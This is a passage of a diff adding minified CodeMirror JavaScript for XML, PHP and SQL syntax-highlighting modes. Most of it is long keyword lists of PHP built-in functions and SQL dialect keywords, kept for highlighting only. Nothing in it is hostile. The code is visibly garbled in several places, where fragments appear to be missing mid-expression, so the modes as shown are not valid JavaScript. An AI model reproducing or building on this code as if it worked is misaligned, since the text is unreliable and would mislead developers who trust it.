+(g.indented=f.indentation());if(f.eatSpace())return null;za=null;var k=g.tokenize(f,g);(k||za)&&"comment"!=k&&(A=null,g.state=g.state(za||k,f,g),A&&(k="error"==A?k+" error":A));return k},indent:function(f,g,k){var p=f.context;if(f.tokenize.isInAttribute)return f.tagStart==f.indented?f.stringStartCol+1:f.indented+Ma;if(p&&p.noIndent)return q.Pass;if(f.tokenize!=D&&f.tokenize!=v)return k?k.match(/^(\s*)/)[0].length:0;if(f.tagName)return!1!==ea.multilineTagIndentPastTag?f.tagStart+f.tagName.length+2:
+f.tagStart+Ma*(ea.multilineTagIndentFactor||1);if(ea.alignCDATA&&/$/,blockCommentStart:"\x3c!--",blockCommentEnd:"--\x3e",
+configuration:ea.htmlMode?"html":"xml",helperType:ea.htmlMode?"html":"xml",skipAttribute:function(f){f.state==O&&(f.state=p)}}});q.defineMIME("text/xml","xml");q.defineMIME("application/xml","xml");q.mimeModes.hasOwnProperty("text/html")||q.defineMIME("text/html",{name:"xml",htmlMode:!0})});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],q):q(CodeMirror)})(function(q){function I(q){var v={};q=q.split(" ");for(var t=0;t\w/,!1)&&(w.tokenize=C([[["->",null]],[[/[\w]+/,"variable"]]],q,t)),D="variable-2";else{for(D=!1;!v.eol()&&(D||
+!1===t||!v.match("{$",!1)&&!v.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,!1));){if(!D&&v.match(q)){w.tokenize=null;w.tokStack.pop();w.tokStack.pop();break}D="\\"==v.next()&&!D}D="string"}return D}}q.registerHelper("hintWords","php","abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__ func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents file_put_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists array_intersect_key array_combine array_column pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count".split(" "));
+q.registerHelper("wordChars","php",/[\w$]/);var w={name:"clike",helperType:"php",keywords:I("abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally"),
+blockKeywords:I("catch do else elseif for foreach if switch try while finally"),defKeywords:I("class function interface namespace trait"),atoms:I("true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__"),builtin:I("func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents file_put_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists array_intersect_key array_combine array_column pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count"),
+multiLineStrings:!0,hooks:{$:function(q){q.eatWhile(/[\w\$_]/);return"variable-2"},"<":function(q,w){var v;if(v=q.match(/<<\s*/)){var D=q.eat(/['"]/);q.eatWhile(/[\w\.]/);v=q.current().slice(v[0].length+(D?2:1));D&&q.eat(D);if(v)return(w.tokStack||(w.tokStack=[])).push(v,0),w.tokenize=t(v,"'"!=D),"string"}return!1},"#":function(q){for(;!q.eol()&&!q.match("?>",!1);)q.next();return"comment"},"/":function(q){if(q.eat("/")){for(;!q.eol()&&!q.match("?>",!1);)q.next();return"comment"}return!1},'"':function(q,
+w){(w.tokStack||(w.tokStack=[])).push('"',0);w.tokenize=t('"');return"string"},"{":function(q,t){t.tokStack&&t.tokStack.length&&t.tokStack[t.tokStack.length-1]++;return!1},"}":function(q,w){w.tokStack&&0")?(t.curMode=D,t.curState=t.html,t.php.context.prev||(t.php=null),"meta"):C.token(v,t.curState);
+if(v.match(/^<\?\w*/))return t.curMode=C,t.php||(t.php=q.startState(C,D.indent(t.html,""))),t.curState=t.php,"meta";if('"'==t.pending||"'"==t.pending){for(;!v.eol()&&v.next()!=t.pending;);k="string"}else t.pending&&v.pos/.test(w)?t.pending=F[0]:t.pending={end:v.pos,style:k},v.backUp(w.length-y));return k},indent:function(q,
+t){return q.curMode!=C&&/^\s*<\//.test(t)||q.curMode==C&&/^\?>/.test(t)?D.indent(q.html,t):q.curMode.indent(q.curState,t)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(q){return{state:q.curState,mode:q.curMode}}}},"htmlmixed","clike");q.defineMIME("application/x-httpd-php","php");q.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:!0});q.defineMIME("text/x-php",w)});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],q):q(CodeMirror)})(function(q){q.defineMode("sql",function(I,C){function t(g,q){var f=g.next();if(U[f]){var p=U[f](g,q);if(!1!==p)return p}if(H.hexNumber&&("0"==f&&g.match(/^[xX][0-9a-fA-F]+/)||("x"==f||"X"==f)&&g.match(/^'[0-9a-fA-F]+'/))||H.binaryNumber&&(("b"==f||"B"==f)&&g.match(/^'[01]+'/)||"0"==f&&g.match(/^b[01]+/)))return"number";
+if(47f.charCodeAt(0))return g.match(/^[0-9]*(\.[0-9]+)?([eE][-+]?[0-9]+)?/),H.decimallessFloat&&g.match(/^\.(?!\.)/),"number";if("?"==f&&(g.eatSpace()||g.eol()||g.eat(";")))return"variable-3";if("'"==f||'"'==f&&H.doubleQuote)return q.tokenize=w(f),q.tokenize(g,q);if(!(H.nCharCast&&("n"==f||"N"==f)||H.charsetCast&&"_"==f&&g.match(/[a-z][a-z0-9]*/i))||"'"!=g.peek()&&'"'!=g.peek()){if(/^[\(\),;\[\]]/.test(f))return null;if(H.commentSlashSlash&&"/"==f&&g.eat("/")||H.commentHash&&
+"#"==f||"-"==f&&g.eat("-")&&(!H.commentSpaceRequired||g.eat(" ")))return g.skipToEnd(),"comment";if("/"==f&&g.eat("*"))return q.tokenize=v(1),q.tokenize(g,q);if("."==f){if(H.zerolessFloat&&g.match(/^(?:\d+(?:e[+-]?\d+)?)/i))return"number";if(g.match(/^\.+/))return null;if(H.ODBCdotTable&&g.match(/^[\w\d_]+/))return"variable-2"}else{if(k.test(f))return g.eatWhile(k),null;if("{"==f&&(g.match(/^( )*(d|D|t|T|ts|TS)( )*'[^']*'( )*}/)||g.match(/^( )*(d|D|t|T|ts|TS)( )*"[^"]*"( )*}/)))return"number";g.eatWhile(/^[_\w\d]/);
+f=g.current().toLowerCase();return F.hasOwnProperty(f)&&(g.match(/^( )+'[^']*'/)||g.match(/^( )+"[^"]*"/))?"number":P.hasOwnProperty(f)?"atom":W.hasOwnProperty(f)?"builtin":y.hasOwnProperty(f)?"keyword":J.hasOwnProperty(f)?"string-2":null}}else return"keyword"}function w(g){return function(k,f){for(var p=!1,q;null!=(q=k.next());){if(q==g&&!p){f.tokenize=t;break}p=!p&&"\\"==q}return"string"}}function v(g){return function(k,f){var p=k.match(/^.*?(\/\*|\*\/)/);p?f.tokenize="/*"==p[1]?v(g+1):1!=&|~^]/,H=C.support||{},U=C.hooks||{},F=C.dateSQL||{date:!0,time:!0,timestamp:!0};return{startState:function(){return{tokenize:t,context:null}},token:function(g,k){g.sol()&&k.context&&null==k.context.align&&(k.context.align=!1);if(k.tokenize==t&&g.eatSpace())return null;
+var f=k.tokenize(g,k);if("comment"==f)return f;k.context&&null==k.context.align&&(k.context.align=!0);var p=g.current();"("==p?D(g,k,")"):"["==p?D(g,k,"]"):k.context&&k.context.type==p&&(k.indent=k.context.indent,k.context=k.context.prev);return f},indent:function(g,k){var f=g.context;if(!f)return q.Pass;var p=k.charAt(0)==f.type;return f.align?f.col+(p?0:1):f.indent+(p?0:I.indentUnit)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:H.commentSlashSlash?"//":H.commentHash?"#":"--"}});(function(){function I(q){for(var t;null!=
+(t=q.next());)if("`"==t&&!q.eat("`"))return"variable-2";q.backUp(q.current().length-1);return q.eatWhile(/\w/)?"variable-2":null}function C(q){q.eat("@")&&(q.match(/^session\./),q.match(/^local\./),q.match(/^global\./));return q.eat("'")?(q.match(/^.*'/),"variable-2"):q.eat('"')?(q.match(/^.*"/),"variable-2"):q.eat("`")?(q.match(/^.*`/),"variable-2"):q.match(/^[0-9a-zA-Z$\._]+/)?"variable-2":null}function t(q){return q.eat("N")?"atom":q.match(/^[a-zA-Z.#!?]/)?"variable-2":null}function w(q){var t=
+{};q=q.split(" ");for(var v=0;v!=]/,dateSQL:w("date time timestamp"),support:w("ODBCdotTable doubleQuote binaryNumber hexNumber")});q.defineMIME("text/x-mssql",{name:"sql",client:w("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit begin trigger proc view index for add constraint key primary foreign collate clustered nonclustered declare exec"),
+builtin:w("bigint numeric bit smallint decimal smallmoney int tinyint money float real char varchar text nchar nvarchar ntext binary varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant xml table "),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=]/,dateSQL:w("date datetimeoffset datetime2 smalldatetime datetime time"),hooks:{"@":C}});q.defineMIME("text/x-mysql",{name:"sql",client:w("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
+keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit accessible action add after algorithm all analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general get global grant grants group group_concat handler hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show signal slave slow smallint snapshot soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
+builtin:w("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=&|^]/,dateSQL:w("date time timestamp"),support:w("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
+hooks:{"@":C,"`":I,"\\":t}});q.defineMIME("text/x-mariadb",{name:"sql",client:w("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit accessible action add after algorithm all always analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general generated get global grant grants group groupby_concat handler hard hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password persistent phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show shutdown signal slave slow smallint snapshot soft soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp 